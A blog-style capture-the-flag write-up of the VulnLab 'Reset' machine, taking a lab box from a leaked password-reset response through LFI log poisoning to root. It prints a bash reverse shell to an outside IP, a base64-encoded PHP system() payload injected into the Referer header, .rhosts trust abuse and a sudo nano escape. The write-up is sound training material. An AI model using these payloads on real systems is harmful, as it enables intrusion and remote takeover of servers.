Post

VulnLab -- Reset Writeup

Reset

Hello Friends,

Remo is Back

In this write-up, I’ll walk through how I pwned the Reset machine from VulnLab. From initial enumeration to gaining root access, I’ll explain the key steps, tools, and techniques used to complete the box.

image.png

Let’s start by scanning the machine.

1
sudo nmap -sC -sV -sS -O -A -oN scanned.txt -p 22,80,512,513,514 --min-rate=1000 10.10.113.1

image.png

Now let’s go to the website running on port 80

image.png

Notice that we have a login page with a password reset link so let’s click on Forgot Password

image.png

Now let’s go and enter the admin username click send and intercept the request using burp suite.

image.png

Now let’s send the request and see the response.

image.png

Notice that the new password is leaked in the response so let’s try to login

image.png

Now login

image.png

Now as we see we logged in as administrator and we got the View Logs functionality so let’s click view log and intercept the request.

image.png

Notice that the application is taking a parameter named file which is pointing on the /var/log directory so at this point any normal technique in the LFI will not work! 😢

But since I took a promise to never give up I did it the hard way! 👊

What about Log Poisoning! 😈

First send a request to this location

1
/var/log/apache2/access.log

image.png

Now create a reverse shell in bash

1
echo "bash -c 'bash -i >& /dev/tcp/10.8.5.233/1337 0>&1'" | base64 -w0

image.png

Now change the referrer header to call a PHP system function to trigger our reverse shell

1
'<?php echo system("echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjUuMjMzLzEzMzcgMD4mMScK | base64 -d | bash");?>'

image.png

Now let’s send the request!

image.png

Notice that we got a internal error which is a good sign

Now back to our machine let’s open a listener to catch our connection.

1
nc -nlvp 1337

image.png

Now let’s go and send a request the point to the error log file

1
/var/log/apache2/error.log

image.png

Now let’s go back to our listener!

image.png

and we got a reverse shell! 🥳

now let’s go to the / directory to get the flag

1
cd /;ls -las

image.png

The exploit explanation the application source code is whitelisting any directory under /var/log so when a normal google search we can search where the Apache logs are stored in the system so we will find it stored at /var/log/apache2/ and since it’s under the /var/log directory so we are allowed to access it and then by abusing the LFI to get the Log Poisoning working we managed to get a reverse shell on the machine

Now let’s stable the shell

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

image.png

Now let’s hist CTRL + Z

image.png

Now write this in the terninal

1
stty raw -echo;fg

image.png

Now

1
export TERM=xterm

image.png

and we now have a stable shell.

Now as we remember we have the rservices running on the target machine so let’s see who can connect to it.

1
cat /etc/hosts.equiv

image.png

notice that there is a user named sadm can connect to the r service

so on our attack machine let’s add a user named sadm

1
sudo useradd -m -d /home/sadm -s /bin/bash sadm

image.png

now let’s set a password to this user

1
sudo passwd sadm

image.png

Now let’s go and create a file named .rhosts and add the allow sign to it

1
echo "+ +" > /home/sadm/.rhosts && chmod 600 /home/sadm/.rhosts && chown sadm:sadm /home/sadm/.rhosts

image.png

Now let’s switch to this user

1
su sadm

image.png

now let’s connect remotely to the machine

1
rlogin -l sadm 10.10.119.95

image.png

We f***** logged in 🤬

Now let’s list the tmux sessions

1
tmux ls

image.png

Notice that there is an active tmux session

now let’s attach to it

1
tmux attach -t sadm_session

image.png

Now we are connected so we can see the password in plain-text

Now let’s use the password with the SSH and login

1
ssh sadm@10.10.119.95

image.png

and we logged in

now let’s go and see our privilege

1
sudo -l

image.png

and we can edit the firewall script as root

1
sudo /usr/bin/nano /etc/firewall.sh

image.png

now save the changes using CTRL + X

image.png

now on your machine open a listener

1
nc -nlvp 1338

image.png

now open the firewall script again

1
sudo /usr/bin/nano /etc/firewall.sh

image.png

now enter this on the keyboard

1
2
CTRL + R
CTRL + X

image.png

notice it say execute command so let’s enter the script path

1
/etc/firewall.sh

image.png

now hit enter and go back to your reverse shell

image.png

now let’s go and get the root

1
cd /root;ls -las

image.png

And finally if freakin did it 🥳

image.png

That’s it for the Reset machine! This challenge was a great test of enumeration and exploitation skills. Hope you found the write-up useful.

Remo

CRTECRTPCRTOeWPTXeCPPTeMAPT
This post is licensed under CC BY 4.0 by the author.